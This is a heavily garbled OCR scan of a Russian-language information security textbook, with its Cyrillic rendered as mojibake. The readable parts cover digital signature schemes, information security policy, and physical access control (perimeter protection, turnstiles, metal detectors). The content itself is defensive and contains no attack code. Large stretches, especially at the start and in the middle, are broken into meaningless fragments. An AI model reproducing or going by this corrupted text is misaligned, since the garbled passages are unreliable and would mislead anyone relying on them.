nucaﬁﬁoi‘l CXEMBI GBIAIOTCA
a3nUUHBIX €0~

J]pcmmwrsamu 0
eil A HECKOMBKMX P

pHIpalOTKH nadpoBBIX HoAnUC
obmeHu# © ﬂCﬂOﬂbBOBaHI(ICM OJiHOTO TafiHOTO KJI04a, a TAKKe CpaB-
enys # APOBCPKU [oAnY-

oTa anropuTMOB BBIYUCTH
1 TIOATIHICH,

cxempl 1udposo
rOpUTMC RSA, coome'rcmytomne anropuTMBL TpebyroT BHITIONHCHI
JHAUNTENBHO GoApIICro IucHd ymuomeﬁui»’l. TlonpTKA KOMITPOMETA”
1 HTOM CKEMBI crankuBaeTed € 06X 0MMOCTBIO pemenust CIONK-
aTHBIX KopHE#H 10 MOy IO 7.
JUTMHA KIIH04d, KOTO-

130
HOI1 32734H HaXOXKACHHA KBAAD
xeMBbl SBIACTCA GONbIIAA
owvHas 3amich qucna n o

HesocTaTKOM ©
past onpeAenseTea quc
AEpHAT | 3BAKOB, EKpETHOTO KIIEO4A COCTABIISCT

OTKPHITOrO KT
paTh, 4TO AL obecricacHI noc"ra'roqﬁoﬁ
JOKHBL AMETD

um’pponoﬁ [OATMCH UHCia 1« m 10

3anCH HECKONBKO COTEH OuT.

HUTEbHAA HpocT
ocaosaﬂﬂoi«i Ha all-

cp. Hanpumep, A4

croixocT A

174

m-1 6T, &
HEOBKOMAMO YT
apHOM CXeMM
B cBoOcH msown-xoii

3asep HTO-
ast
. pasnen xpurrorpadu
- W, NOABEACM HEKOTOPHIE
paccMaTpuBam ocT!
Hepeaxo u B xu3um oHu Moﬁim o o
CIIONB30 ’
o BATHCA HE3AB '
o X HCHMO.
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a1 TaroK
e et € MOXKHO IIepeaTh 06:[:: vy
T CPEICTE KONOIHHTCIRHOMA 3am S
e CHom, PG OTHM TOLYYHTb 3AMIECHHYIO 211;“.
e emeﬂﬂmm) CHL HE TONBKO B CBEPXCEKPET: .
2 HBIX
e mzrrgayqp(bﬂﬂ' UAX), CIEAYET UCHOIB30BATh BCE Bosmgoxzomnap_
PHMCHCHHC B IO
cex
HPOBEACHUK KT . Kpmn HaTp: HHTE
o 6;:[6 cox saat K eﬁma@mu nenecoobpa3no npu
T , KOBCKO#H rauu,sanm - THB:
HO# CETHIO 9 O erore: P "o o
. o o e < M CBA3M C KOPHOPA
HMEpPHBIi . Gorru. -
5 AITOPUTM it
rer Bblﬂme“ cﬂemmuMp:s o TaKoil KOMIUICKCHOH CHCTEM.
. M: :
) Xﬂ‘aﬂm OBJé)el’-Hle CBSI3H.
. HTUQHKAMA CTO AL
s
3. Oprasmsamms CBS3 p<rroOH o ¢ u eﬁBaKJIHIO‘laC
BaCMBIX JAHHBIX K;oqo O oo zz;ﬁ:an.
4 ;yxem(pmum. M, CICHEPHPOBAHHLIM Ha 3 llaé
. Ilepenasaem 000 THAOTC
o ){osembxe cooOmeHns  JOMO. PTK
e 5o PAXOIMMK cropon) max mud ¥ o
e unu mmdposcl nonmuc
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o e i a mudpoBaTLCH 1
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TJIABA 13.
TonuTHKA nmbopmaunonnoi‘l fe30nacHoCTH.
OcroBHbie OnpeAe/icHHsA H MexXaHu3MbI

X
Kypc 3ammrsl AH(OPMAIN Mbl HATAIH € M3yueHUs OCHOBHE

e

MeTOfoB 00eCeaCHUS COXpPaHHOCTH ungopMalHH, Me'r;a;(;i( zrp;:ﬂ“
41 TOKANBHBIX ATAK ¥ 3AMIMTH OT HHX.

e cxoraror aduio 1 kpurrrorpadmio. Teneps, HCHONb3Ys MORY

Hayll:l:'r:;g;p MBI 3afiMeMcH H3YIeHHEM [IPMHLEAIOB MOCTPOCHI!

YeH. )

.
KOMIUIEKCHO# CHCTEMBI 3AIIATEL wrs)opMaALH

MALHOHHAS 6e30nacHoCTh?
¢Th —— 3TO KOMIUIEKC MEPO-

pacMoil MM MHGoOpManu

Virak, uto Takoe uedop

VingopmanHOHHAA fesonacHo

pUsTHH, obecneauBaOmKi 1S OXBATHL

TICYIOHIEE: .

C ﬂyxi LETOCTHOCTD H COXpPaHHOCTD mﬂbopumaxmn, _—
— HEAQCTYIHOCTD korGucHIHATLHON pH(popMALHHA

erope ocryn;ﬂom H pa6mocnoco6ﬁocrb MHOPMALMOHHD! X
-

CHCTEM B 3aJAHHEIH NEPHOA BPEMCHH.

HIC O1
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AyuuBinee HHGOPMANMIO, HE MOXET OTPEdbCa OT (haxra e¢ NomyHc-
HHS.

Otnnune MEOKAY ABYMS STHMH 33Ja4YaMH 3aKJIIOYACTCA B Clle-
AyIOmEM. Yder OOBMHO BEAETCA CPEACTBAMMU INCKTPOHHEIX PErHCT-
PALMOHHBIX XKYPHAJIOB, KOTOPHIE HCIIONB3YIOTCA B OCHOBHOM TOJBKO
YTIOTHOMOYEHHBIMHE Ciy0amn, NPOBOAAIIAME DEryJIsSpHBIH aHaHM3
atux KypmanoB. Heorpexaemocts olecneumBaercs cpeiacTBaMM
xpurrrorpadun  (3nexrpoHno-1HdpPOBOH MOAMHCHIO), ¥ €¢ NpeHa-
3HAYCHUE — UCMONb3OBAHAE B KAYECTBE JOKA3ATCILHOIO MaTepuaa
BO BHCIMHMX MHCTAHLMAX, HAUPHMED B CyA€, IPH HATHYNH COOTBET-
CTBYIOIIETO 3aKOHOAATCABCTEA.

HoauTnxa Hudopmanuonnoit GesonacHocT — 310 Habop
dopmanbubix  (OQHIMANBHO YTBEPKACHHBIX JHOO TPAXHIHOHHO
CIIOXKBIUMXCS) NPaBUJ, KOTOPHIC PErTaAMEHTHPYIOT (YHKIHOHHMpO-
BaHUE MEXaHU3MOB HHGOPMALHOHHOMH Ge30IIaCHOCTH.

Yacro BMECTO TepMUHA MONMTUKA HMHQOpManMoHHOH Oeso-
MACHOCTH IPHAMEHSICTCA TEPMHH KOPIOPATHBHAs NOIHTHKA Oesomac-
HOCTH. JTO CBA33HHO C TEM, YTO JOITOE BPEMS PEIICHHE BONPOCOB
uHGOPMALMOHHON Oe30nacHOCTH OBUIO JOCTYNHO, MO (HHAHCOBBIM
COO0paKCHHUSM, TONBKO KPYIHBIM KOPIOpALMSM H IOCYAApPCTBEH-
HEM yupexaeHHaM. C rocydpexIeHHAMH BCE MOHATHO, a KOpIopa-
IIMH, 0CODCHHO TPAHCHAMOHANBHEIC, JOJDKHH IEPEAaBaTh OOMbIIKE
o0beMbl HHQOPMALMY, FACTO KORPUACHUMATIBHOH, MEKITY CBOMMH
OTAC/ICHNAMH Ha Gonpive PacCTOSHHA 4Epe3 AOCTATOYHO MNPOTHA-
JKCHHBIC CCTH.

Pemenne 3azau obecneuenns OrICTPOli U 3AMMINCHHOM Tiepe-
Jagn AH(hOpMAIH B paMKax KOpIopaum# — T. €. paspaorka n pea-
MH3AMHES TOMHTHKH MHOPMALMOHHOH 6€30IaCHOCTH BHYTPH KOpIo-
palme — 3aJa4a 0YEHb JOPOrOCTOAIMAs HE TOALKO H3-3a KBanudu-
KAIMH TIPUBJIEKACMOro TICPCOHANA, HO H CTOHMOCTH NPHMEHSEMOrO
obopyaoBanus.

B nacrosinee Bpems ofecnevenne uudopmarmonnod 6e30-
HACHOCTH CTAlO JOCTYNHO M JId CPEeAHMX (upM. DTO NpOH30mIIO0
Gnaronaps nosBieHVI0 GONBIIOrO KONMYMECTBA CNEUATHCTOB B 00-
nacte HHQOPMAIMOHHOH 6€30HacHOCTH, BO3MOXHOCTH MCIIONb30BA-
Hus Ooliee ACIEBHIX PEIICHHH, KOTOPHIE XOTS M He 00eCIeHuBarorT

177



A YpO! 0 2PheKTHBHEL
7 HAJNCKHOCTH, HO HOCTATo o
B o C pppkenne CTOAMOCTH HCTIONB3Y

BAHMS Tamero R ITOT OK a3MATCKUX
s upM CPOAH ¢ CBS3aHO C BBIXOAOM Ha pl;l:me i~
o6opy)10mmx W3roTABNMBATE 1 npoAaBaTh oBOpYA
upm, T 3 ) |
KHX BHIX KATETOpHU. P
e K ::: ?I‘OI‘O, g XXI seke Bonpoc uﬂd);pmauﬂ&m O O o
OCTH 65111 BBHIBCIICH HA nepeAHAR m;;aﬂ. 2192 ﬁT?I:)G:, e
, i 1781
i (OpMAIHOBHON 6c30NACHOCTH, e T o e

i ft na obecHevcHH e
e Mlczoasnana cnpoc, a crpoc nopoMu TpeA

X K COOTBETCTBYIOMICTO obopy-

AMM - PXY.
IOUEHO, 910 Pasp R
X IIllacnporp joro obecneucHns camu pasny yM
AOBaHHA

..‘ ‘I Q B‘./p.“.ch‘.".;ﬂ. ¥ X 10, TUT VK 715 1‘}.3!..' 151 HH(! 13 6630‘.!&(3!10‘.1!’!
Q o 2
- (bop
21 ¢

HEE.
au3MbE. PaccMoTpuM ux 1ioapod

oHHOM 6c30nACHOCTH.

dopmany .
e NENCHAS (pacnozaanai:me) KA
— ppenTApHKAEE — onpe, e e non

¢popMaLMOBHOTO B3AMMOICH!

ro yJacTHHKA pouecca UH SO e

TO
TeM KaK K HEMY GyAyT MPHMCHCHES xaxue 08t

AT i Ge30MacHoCTH, -
wrdop OHﬂglgnxaum — obecnedcHuc YBEPEHHOCTH
— ayTeHT

s

' OCTYIE pabopa
npeabABHIL, 1 2 — CO3JAHHC ¥ nomcpxa;u;ﬂ po r\fa
. o onec
l;(:xﬂz&emmmm& KKIOMY YUaCTHHKY r;p; yl;c o el
oo &Meﬂa paspeineHne Ha gocTyn K P

[HOHHOTO |

. as JUIK KOH
rore ; papue npoduns TP !
s T Lo MAIOHHOTO OOMEH2 (ayren

eTHOrO yHaCTHHEA npoLecca nudop:

178

HECKONBKO Pasjiialorcs, TAK KaK EPBOC MPCATONATacT aHalN3 Co-
OriTHit mOCThAXTYM, @ BTOPOE NMPHUOMIDKEHO K PEKHMMY PEanbHOro
BPEMCRHY;

~ PearHpOBaHHE HA HHIMACHTH — COBOKYNHOCTb IPOLEAYD
HI MCPOHNPHATHI, KOTOPHIE TIPOH3BOAATCA NPH HAPYUICHHUW HIH
HOJO3PEHAH HA Hapymenne HHGOPMALMOHHOI 6e30MacHOCTH;

— ynpasjieHue xon(pHUTypalmel — CO3JaHHE M NOAACPHKAHUC
dyHxumonMpoBanmst cpeabl MHGOPMANMOHHOTO oOmeHa B paboto-
cnocoOHOM COCTOAHWM H B COOTBETCTBHM C TpeDOBaHHAMM HH(pOp-
MarMoRHOH Ge3011acHOCTH;

—~ YNPaBACHHUE MOIb30BATEASIMH — O0CCNICUeHHE YCIOBHM pa-
Gorsl noip3oBaTesici B cpene nHbOPMAIMOHHOro 0OMEHa B COOTBET-
crBuM ¢ TpebosanmsMu nHpoOpMatmonHoit GezomacHocTH. B sanroM
ciyyae TOA IIONB3OBATEIMMH NOHHMAIOTCS BCE, KTO HCHOIB3YeT
JaHHy0 MHGOPMAIMOHHYIO CPEAY, B TOM YHCIIC H aAMHHACTPATOPHL;

~ YOPaBJICHHE PHCKAMH — OOECIICICHHE COOTBETCTBHA BO3-

MOXHBIX [10TEPh OT HapyiueHus uHGOpMAIHMOHHON Oe30macHOCTH
MONHOCTH 3aIMUTHHIX CPEACTB (TO €CTH 3aTparaM Ha HX HOCTPOe-
HUC);

~ oDecneYeHne yCTOHYMBOCTH — TMOAAEPKAHHE CPEABI MH-
dopManoOHHOr0 OOMEHA B MHHMMANBLHO JOMYCTHMOM paboTocro-
COOHOM COCTOSIHMYM M COOTBETCTBHH TpeOOBaHMAM HHOOPMAUMOHHON

6€30DaCHOCTH B YCIOBHSX ACCTPYKTHBHBIX BHEINHHUX MM BHYTPCH-
HHX BO3ACHCTBHIA.

Kaxumy 5ke HHCTPYMEHTaMH PEANMIYIOTCH 9TH MEXaHH3MBbI ]

OcHoBHEIE UH eHTh HHbopMarmonno He30nacHOCTH:

—~ DEpcOHa — JIIORH, KoTopeie OyzyT obecieqnBarh MpeTBO-
pexue B XKH3Hb HH(OPMAIMOHHON (e30MacHOCTH BO BCEX ACHEKTaX,
TO €CTh pa3pabaTsiBaTh, BHEAPSATH, TOAACPIKHBAT, KOHTPOIMPOBATE
¥ HCIIOJHATS;

- HOPMATHBHOE OOECIICUCHHE — NOKYMEHTBI, KOTOpHIE CO3-
JAIOT MPABOBOC MPOCTPAHCTBO i (PyHKIHOHHpOBaHus uudopMa-
HUOHHOI Oe30MacHoCTH;

~ MoaenmHu Oe3omacHOCTH — CXeMbl obecrieucnus uHHbOpMA-
WHOHHOM 0e30nacHOCTH, 3AJIONCHHBIC B JAHHYI0 KOHKPETHYIO HH-
POpMALHOHHYIO CHCTEMY HIIM CPEAY;
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O6byHO pasnUYAIOT JBA HANPABJICHUA B HonuTHke uadopma-
IHOHHO# 6€30naCHOCTH:

~ Musuueckas Ge30MacHOCT — 00ECNEICHUE COXPAHHOCTH
caMoro o6opyaoBands, NPSAHA3HAMECHHOIO MK QYHKIHOHAPOBAHHA
UHMOPMAUMOHHOM CPEABI, KOHTPOAb HOCTYNA JnoAcH K 3roMy 060-
pyaoBasmio. JIOMONHNUTENLHO CIOA2 MOXKET OBITH BKIOYECHO ITOHATHE
33IMETH CAMWX TIOJb30BATENEH HHOOPMAHONHOI cpeast OT du3nde-
CKOTO BO3ACHCTBHA 3MOYMAIIICHHHKOB, 3 TAKKE 3aIUTH HHPOpMa-
MM HEBHPTYANLHOrO Xapakrepa (TBEDIBIX KOIMI -— pacIrieqarok,
cyxeCHBIX TEACHOHHHIX CIPABOYHHUKOB, JOMAIIHHX 3APECOB CO-
TPYAHHKOB, HCTIOPYCHHBIX BHEITHKUX HOCHTENEH H T.IL.).

— Kommmsiorepras GezonacHocTs (cereBas OS30MmacHOCTb, Te-
NEKOMMYHMEKALMOHHAS OC30MacHOCTh, O€30MacHOCTh JAHHBIX) —
obecnieucrne 2amuTs! HHGOPMALMH B €€ BHPTYAIBHOM BHJE.

Teftepb, HOCHE O3HAKOMNCHMA C OCHOBHBIMH OIMPEACICHHAMY
urpopmarponno GesomacHocT npeilaeM k cnynbe unrdopmam-
oHHOI Oe3omacHocTH. TIOHSTHO, 9TO CTPVKTYPA M CCHOBHBIC 001-
3aHHOCTH cnyxO0bl HHGOPMAIMOEHOH 6E30MaCKOCTH 3aBHCST OT Crie-

nuduxu samumaemoii dupmel. Ho kak onperemurs, HyxHa Qupme
913 Ciayx0a i HeT?

Kpurepru HeoOXOAMMOCTH CO3ZAHHA CyOb HHPOPMAIHOH-
HOIf Be30macHOCTH.

UYerxo cxa3ats, xorha $HpMa JODKHA CO3RABATL B CBOCH
crpykrype cnyxOy mnadopManHoHHOH GC30MacHOCTH JAOBONBHO
cnoxro. B ogsmx mpmax Bonpoc o cozxanum cayxOn OesomacHo-
CTH CTABWTCA NHOCHE OOHAPYKEHHMA CYMECTBCHHHIX HEJOCTATKOB B
CYIECTBYIONICH CHCTEME, YacTO IOCIE YCMEmHHX arak. B apyrax

— ¥3-33 JKEJIAHUS PYKOBOJCTBA CIEAOBaTh MOJE H HATH B HOTY CO
BPEMCHEM MM HATMYHA B pHpME CBOGOAHBIX CPEACTB.

Usorna pemeHHe NPUHMMACTCS B PE3YIbTATE B3BELICHHOrO
aHanm3a BO3MOXKHOrO ymep0a npy OTCyTCTBIM CayxOn He30macHo-

CTH ¥ CTOMMOCTH ¢¢ cogepxanus. Kaxue e xparepun Gepyres 3a
OCHOBY B 3TOM ciyqac?

181



OO6rI9HO HA NEPBOIL CTAAUH PEICHUS BOIPOCA O HEOOXOMHMO-
CTH Oprasu3aumy HMAPOPMAIMOHHON CiIyxOn Oe30MacHOCTH pac-
CMATPHUBAIOT CACAYIOMUE KPUTCPHHL:

~ Hamuue B Gupme 6omsme 10 KOMIBIOTEPOB, PacpeAeIcH-
HBIX 110 PasYHBIM IOMCIICHHAM;

— Hamrue B pUpME NOKANLHOM CeTH;

— HammM9He noAxmodennus ceri ¢pupmn k Murepuery;

— HQJMYHE MOAEMA XOTA Obl HA OAHOM U3 KOMITBIOTEPOB (up-
MbI;

— HajgM4He XOTa OH Ha ONHOM KOMIblOTepe kHdopmaimy,
PasrnAEHNe HIH yTeps KOTOPOH MOXeT mnpHHECTH dupme
CYLIECTBEHHMIH yineps.

Tlouemy 31 nysxTH TPeOVIOT BHUMAHUS T

1. Ecniu 8 dupMe ZOCTATOYHO MHOrO KOMITHIOTEPOB ¥ K HHM

HMCET JOCTYNl 3HAYHTENBHOE YHCIO ODCIY)KHBAIOIICIO MEPCOHAN,
TO HEOOXOAMMO 3anyMaThes O COXpaHHOCTH obopynosamms. Ilycr
H2KE B (PrpME CINE HET JIOKANBHOH KOMIKIGTEPHOM CETH ¥ B KOMIIh
I0TEpaxX HET HMKaxod CYMECTBEHHON MHGOPMAt|H — cam¥ 110 celc
OHH IIPEACTABIMIOT 3HAUMMTENBEYIO LeHHoCTs. Ylopoii, paccyxaas o
BONPOCAX  HHGOp/2UMCHHOK  OC30GACHUCTE,  CHEHMANHCTH
AKICHTHPYIOT BHHMAHUC HA 3AWUTEe HHGODMALFCHHBIX pecypoon
Mexay Tem., me CymecTByloImHMM  OUEHKaM, COOTHOMUCHMC
Macca/ugsa y Pz KOMOBIOTCPHRIX. COCTABILIICHIMX {HATTDUMED, I
OHEPaTHBHON NaMSTH, YPOLCLCOPOB) CPABHUME! MM IIPEBCCKON!
COOTHOMCHHKE MAaCCA/ISKa 3070Ta. A 370 O3HANALT, 9TO OHM CAMY 110
ce0¢ NPEACTABIBIOT MHIICHD IS 3NOYMBiUICHHAKOB.

TIponomxas npuMep ¢ NIaTaMH ONCPATHBHOH NAMATH, MOXuo
TIPABECTH THOOBOH CLCHApuW mpecTymwieHus — w3 128 wmm 250
MOaiiT OmepaTHBHON DAMATH IOXWINACTCS MNONOBMHA (MNH W
BEpTh). A Temeps 3axymalTech, BCE M COTPYAHWUKH BHMMATEN: i
CIEAAT 32 YIPOLECCOM 3arpy3KH MPH BKIIOUYCHUH KOMITHIOTEpA M Cliv
COOHBI ONPEACINTH, YTO ONCPATHBHAA NMamMATh COKparunace? Kaa
IB M B3 HYX HEMEJIEHHO COOOWIMT, eCT KOMMBIOTEDP CTal Mu
aenHee paborats? Yepes kakol cpox TorAa 00HAPYKHTCS Ipona:”

2. Ecnu B ¢umpmMe nosBanace NOKaupHAs CEThb, 9TO O3HAMM 1
910 COTPYAHHMKH HAYHYT €€ MCHONB3OBATh B IIPOM3BOZCTBEHIIOM
IPOLIECCE, JAKE €CIIH OHM BCEro Jmimb obMenuBalorcs dadnamy v
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Onpoc — paspaboTka ponuTaKy MEdopMatii-

xoTopasi BKIOIACT B celst Opeanu3ayuoHHbe

onHoll 6e30onacHoCTH,
npozpammHble cpeocmea.
e mepbl — ITO ypaBmIa TIOBEACHHA NIONTB30-

Mepbl, annapamubie 1
Opeanu3ayuonibl
poB ¥ COTPYAHUKOB cy OBt urbopMaIHOH-

paTteled, aMHHHCTPATO
Ol Ge30MAacHOCTH, MX npasa 1 0093aHHOCTH.
Annapamuble 1 npozpammHble cpeocmse

Creayromuil B

q — I3TO KOMIUIEKC

UIHUECKUX 1 BUPTYa/IBHBIX CpEACTB, mpe/HA3HAUCHHbIX [Is peanH-
[10Tb30BATENCH, aIMMHHCTPATOpOB H

3y NpaB H oGs3aHHOCTER
COTPYAHUKOB ciry OB PIHQ)OpMaI.IHOHHOﬁ 6e30MacHOCTH.

TTporpaMMHBIC CpEACTBa OBIBAOT:
- annapamno-uesaeucmbmu __ T1.e. paboratromuMH 6e3
yuacTus anmapaTHbIX CpeacTs samuThl HEGOpMALIH aponH,
TpOrpaMMHOC upoBaHue, auTHBUPYCHL;

- annapamuo-3aeucumauuu __ obecreumBaIoiie COnpsKE-

HHe almapaTHbiX CpeACTB 3aIIATH un¢opmanyy C
rpamMmamMu UM onepaunounoii cucTeMor —
110.

JICTBA MOXKHO TAKOKE pasnenn'rb Ha:

acTh CHCTE
OHAOMIOACHIS, nomMod

AnmnapaTHbi€ Cpe
_ aemoHomHble — 1

CaMOCTOHTeIleO — cucreMa BHIC

B 3/@HUE;

— KOMNJIEKCHBL
[O/B3YFOT OOIMH SNEMEHT ¥
uH{OopMANHIO, [IOyHCHHYIO APYT
ko4 AoMopoHa JCroNp3yeTes v npu 3ammyCKe KOMIBIOTEPE,
[IOJIb30BATENSA HArHOpUPYETCH,
mipouen 4epes nomoboH;

_ yHMenneKmyansHoe 30aH
yrpaBICHUA audTramu,
10€.

¢ — HECKOIBKO 9acTe
Gazsy uaeHTA(uUKAEA 1

ue — BCC CHUCTC!

CHUCTEMBI OCBEIICHHEM,
0ObEAMHCHBI B eqUHOE LE

KOMITIEKCHBIC cpeAcTBa, Kak | MHTET

npe;monararo’r HaAJMHC armapamo—aasncnmm

CPEACTB.
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ApyTHMH TIPO-
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ec/i OH He TIpHILeH Ha pabory, T-€. HE

Mpl 6€30MacHOCTH,
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obopyxosanws. NEYUTh COXPAHHOCTD MHPOPMALHH H

Mexanu Baro HTP:
3MEIL, 00¢
s, o om;m, H:Ir;:tm [HE KOHTPONE Pu3MIeCcKoro 4o
Ty ¢ oo H MEXaHH3MaMH HHGOPMAIIOHHOK 6#“0-
GMTBommequ,moB JUBt JOCTYIR2 K OOBeKTy, Cy&hexT €30~
HBIM OTIIHYHEM wmfli;iaymmmb g meBajOJgKeH
P ; TO, YTO YENOBCUECCKHE JICﬁCTBHH. ol
Sums nponpekomponup 0 BPEMEHH H, COOTBCTCTBEHHO, TAKMK ory
A € M
My BPEMEHH, BILIOTH JO npfgi:;{: iy GMSK,OM y peang?:
MY Bpoven COTPYAHHKOB
OCT! COBp:cro B MOMEHT COBEPLICHMS anoymmn:mmmm 5em30r!&c-
MCHHbDIC - §
pase e CIoCcoOBI KORTPONSE (PH3HIECK r"rylI i
A3ACOTCH HA CIEAYIOHUE CHOTEMBL: oro AOTIR HOR
— OXpaHH ICPEMETPA; .
~ KOHTDOJIA H YIp
ABICHUN [ ;
- BHMAcOHabmMoACHNAA; oeyIe
~ OXpaHHOH CHTHAI IACTC!
u3aEy ('
oxp oxp 4acro COBME i
aﬂm‘ pHMETpa, HHOIJA BIIIIOYALCT CHCT ot oo
. eMy ITOKAPHON CHrHANN-
— xpanenus (cefidsr, mKagps ¥ T. IL.).

Ecmm o obe
03BOIBIET

Sesoma HoBoTAeT OXO/KET, BHIACAACMbIH HA CIieY

i > TO IEPCUHCICHHBIC CHCTEMBI MOKHO umeeﬁﬂe
HpO: o nm{yro“ﬂmme XEMY [0J HA3BAaHWEM CHCTEMA ylmasneﬂmr-

3JaHMEM, WIH KTYaJIbHOE 3AaHKE, Kyaa OMIHOHAJILHO BKIIIO-

nepHe JM(TAMA
ACKTPOIHEPIHEH H Mp. , OCBELICHHEM, BOXOCHAGKEHMEM
£
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PaboTel MO MPOEKTHPOBAHMIO H BHEAPCHMIO TAKHX CHCTEM H,
TeM Donee, BCErO MHTEMICKTYAIBHOTO 3AaHUS, JOBOMLHO CIOKHH U
OOBIIHO BHIIONHAIOTCS CTOPOHHEH KOMIaHueH, a He CHIaMu CamMoro
NPEATIPUATHA.

PaccMmotpuMm HX noapoGHee.

1. Cacrema oxpaHsl nepumerpa.

Cnenyer onpeaenuTb, KaKyio TEPPUTOPHIO CIEAYET OXPAHATH
M KaKhe THIH CyOBEKTOB MO/DKHEI HAXORMTBCS HA HCH, pEKHM
HAXOXAEHUA CyObEKTOB.

Jna nmpumepa paccMOTpHM 3aHue, OOHeCEHHOE 3a00poM.
BayTpn 35aHus pacnoNOKEH TEXHHYECKHMH JTaX, HA KOTOPOM pas3-
MCIICHa cepBepHas KoMmHata. EcTecTBEHHO, ¥TO 32 3a60pOoM MOXeT
HAXOMUTECH KTO YTOHO, HO B HENOCPEACTREHHO# 6mu30cTH K 3200pY
¥ Y BOPOT OPraHH3ALMM HOCTOPOHHHE MOrYT HAXOAMTHCH TONBKO
orpasmucHHOe Bpema (mpoxoxs mmumo). Jlpyrue cnyuam JOIDKHEI
NpUBICKaTh BHHMaHHE cayOn OesomacHocTa. 3a 3abop (oxpansc-
MHH NEPHMETP) MOTYT HPOMTH TOMLKO COTPYJHUKH OPTaHH3AMy U
NHIA, KOTOPBIX OHM COMPOBOXKAAIOT, MPHYEM TOIBKO B pabodee Bpc-
M, ¢ 8.00 no 18.00. B 3qanme MOTyT HpOHTH TOMBLKO Y€, KTO MMECT
HPOIYCK, BHE 3aBHCHMOCTH OT OPraHH3AGVMOHHOMR MM NO/DKHOCTHOI
NPHHAJUICKHOCTH, NPHYESM BXOAMTH MOXKHO — paborHukaMm ¢ 8.00
1o 18.00, suxomure 10 22.00, a «rOCTH» MCTYT BXOAKTH TOIBKO JO
16.00, a Bexomuts crporo ac 18.00. Ha Texamueckuii 2ok Moryr
HONHUMATBCSl HCKIFGIHTENBPHO PAOOTHHKHM TEXHHYECKOH CayxObl 1
TONBKO B pabouee BpeMd, a B CEPBEPHYIO KOMHATY MOXET BXOIMTS
MIIb CHCTEMHBIH onepaTop (aAMMHMCTPATOp) M TONBKO IIOCHE HH-
dbopmupoBanug cy>kOn Ge30IaCHOCTH.

Teneps MOXHO ONPERENATH, KAKHE MEXAHW3MBI HEOOXOTHMO
HCIIONB30BATh A PeINeHNs COpMyIHPOBaHHbIX 3amad. JKemarens-
HO, 9TO0H 3a00p ORI NMONHOCTBHIO HEMPOXOMHMBIM (B 3aBHCHMOCTH
OT PEXHMMHOCTH OPraHH3alMM), a Talke Obul CHabkeH kaMmepamu
BuAcoHAOMoONeHUs JUIA KOHTPONA mnpuOmobkeHMs Kk  3alopy.
VY BHyTpeHHe# cTOpOHBI 3a60pa MOTyT OHITh YCTAHOBNICHH! JATUHKM
JBEOKCHHSA WM <HACTYIAHHS» HJI TOTO, YTOOKI, C OZHOH CTOPOHS!,
obHapy»muTh CyOBEKTOB, MHHOBaBIIHX 3a00p cCHapyXH, a, C APYTOli
CTOpPOHBI, NIPEAOTBPATHTS NPHOMDKCHHE PaCOTHHKOB OPraHH3AHH X
3abopy. Ha crene 3abopa (3ganms, moasana) JOMYCTHMA YCTAHOBK:
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AaT9uKoB BUOPaLMK HA TIPEAMET HOMBITOX nponoma cred. Ha sopo-
TaX AOCTATOYHO BH3YAJIbHOrO KOHTPONS COTPYAHMKA GE30MACHOCTH
A HPOBEPKU AOKYMCHTOB, a TakxXe HAMIHMEC METALUTOHCKATEIA

MMM HpocBeYHBAIOmEro YCTpOHCTBA IS NIPOBEPKH BHOCHMEIX
HpeMeros.

2. Cucrema ynpasienns AOCTYIIOM.

Yupasnenue pocrymom mosxwo YCIOBHO pasjenurh Ha ABE
YaCTH — YNpPaBICHUE NEPeUYHbIM NPOXOOM Ha OXpaHAEMYI0
TCPPHTODUIO M YIDaBNEHHE nepeMewgenuem ho oxpansemot
meppumopuu. Ecam BuyTpH opmOi OXpaHAEMOH  TeppPHUTOpHH
Haxom«rrcav,apyran, eme Golee CTPOro OXpaHsemas, T0 KOJHYECTBO
Pa3/eNeHAH, COOTBETCTBEHHO, YABAHBACTCA.

3adaua nepeuunozo xonmpors — orceus TEX, K KOMy HE MO-
TYT GBITh IPHMCHEHE! ABTOPHIAMMOHHBIC 1pPaBUIIA, T. €. TEX, Y KOTO
Ha TCPPHTOPHM HET HEKAKAX NPAB AOCTYNA; obecreunts, 9rob Ha
TEPPHTOPHIO HE OBUTH IIPOHECEHEI 3aMPEIICHHbIC APSAMETSI, A TAKKE
PAR ApYTHX PyHKIHiA, B TOM wMCIie, BO3MOKHO, TE, KOTOPHIC HE MO-
YT OBiTh 3apanec PETIAMCHTHPOBAHE MIIM aBTOMATHIRPOBAHK (Ha-
TIPUMCD, NPUHATHE PCLICHAA NPH NOAOIPEHHAH, 4TO TP AbABICHHBIN
HPOIYCK HMpHHAANEKHT APyromy Jmuuy). HauGonee napecTHbie Mexa-
HH3MEL B JAHHOM CVYae CHEAYIOLIHAE;

~ TYPHHKCTSI M MCTAJLIHYECKHE BOPOTAa, GOCCIICUMBAIOMIHC
Pa3AENeHNE UCIIOBEYECKOrO MOTOKA HA OTACTBHBIX IIEPCOH;

— ULE030BLE KabBHk, 06ecIeTHBaIONIHE IPOX O cTpors oo 1
HENOBEKY, 663 BO3MONHOCTH CONPOBOXIAIOMEro UPHHYMTH ABTO-
PM30BaHHOTO COTPYAHHKA K COBMECTHOMY MPOXOAY dYepe3 KOH-
TPOIBHEIE BOPOTA,

— YCTpoiictea uacHTHGUKAIME U ayreHTHQUKAIMH BXOAA-
MHX;

— MCTANIOUCKATEINH, JKENATENHHO ¢ BOIMOKHOCTBIO HACTPOii-
KA Ha rabapuThl MPOHOCHMEIX METAJLIHYECKHX OPEAMETOB, YTOOBI
OTACTHTD, CKAXEM, CBA3KY KIFOYCH OT HOXKA;

— TIPOCBEYMBAIOIINE YCTPOHCTBA —— HEOOXOAUMO TONBLKO Ofi-
peaemuts, 6yRyT ;M 310 yeTpoiicTea He30macHse JUI CBETO- H Mar-
HUTOyBCTBHTC/IBHEIX MATEPHANOB, 60 Ha0GOPOT, JKECTKO BHEO-
JUIIHE TAKAC MATEPHAILI U3 CTPOs (B ITOM Ciywae HEOOX0MMMO
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HA
NPEAYNPENACHAC O Ipe/TbABICHUY TAKHX MATEpHANIOB H C/aYe HX
XDRHCHUE WM aHATIHA3); 3 ,.

? — MEPErOBOPHHE  YCTPOHCTBA, ecnH  YIPaBICHHE B:::l
JIOM/BEIXOZOM OCYIIECTBISCTCH yaanenHo (Cioaa BXOAAT noMOPOHEL,
BHACOAOMOMOHEL 1 T. I1.).

i HALHPO-
3adaua KoWmpons — hepemewjenui memmbe ;:};:m
BaTh/ayTCHTHPHULMPOBATD cy6BexTa, 3aNpaNMBAIOLEro ;;izp -
Ha TPOXOZ, Y, TPUMCHHB K HEMY ABTOPH3ALHOHHLIC PABHIA,
CTHTH €r0 HIIM 3aIPETHTh MPOXOA.
